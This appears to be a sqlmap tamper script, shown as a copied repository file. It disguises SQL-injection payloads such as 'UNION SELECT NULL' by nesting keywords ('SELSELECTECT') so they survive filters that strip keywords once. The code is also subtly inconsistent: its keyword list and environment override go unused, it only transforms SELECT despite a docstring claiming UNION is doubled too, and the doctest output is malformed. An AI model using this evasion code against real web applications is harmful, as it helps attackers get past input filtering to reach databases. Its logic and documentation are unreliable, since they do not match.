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51 lines
1.4 KiB
Python
51 lines
1.4 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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from re import finditer, search
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from os import environ
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from math import ceil, floor
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from lib.core.compat import xrange
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from lib.core.data import kb
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOW
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Transforms keywords ('SELECT') so they are valid when stripped once ('SELSELECTECT')
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Tested against:
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* Microsoft SQL Server 2005
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* MySQL 4, 5.0 and 5.5
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* Oracle 10g
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* PostgreSQL 8.3, 8.4, 9.0
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Notes:
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* Useful to bypass weak filters based on keywords stripping.
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>>> tamper('SELECT id FROM users UNION SELECT NULL')
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'SELSELECTECT id FROM users UNUNIONION SELSELECTECT NULL
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"""
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retVal = payload
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keywords = ['SELECT', 'UNION', 'WHERE', 'SUBSTR'];
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if 'UNSTRIP_KEYWORDS' in environ:
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keywords = environ['UNSTRIP_KEYWORDS'].upper().split(',')
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if payload:
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for match in finditer(r"\b[A-Za-z_]{2,}\b", retVal):
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word = match.group()
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if (word.upper() == 'SELECT' and search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None):
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retVal = retVal.replace(word, word[:int(floor(len(word)/2))] + word + word[int(ceil(len(word)/2)):])
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return retVal
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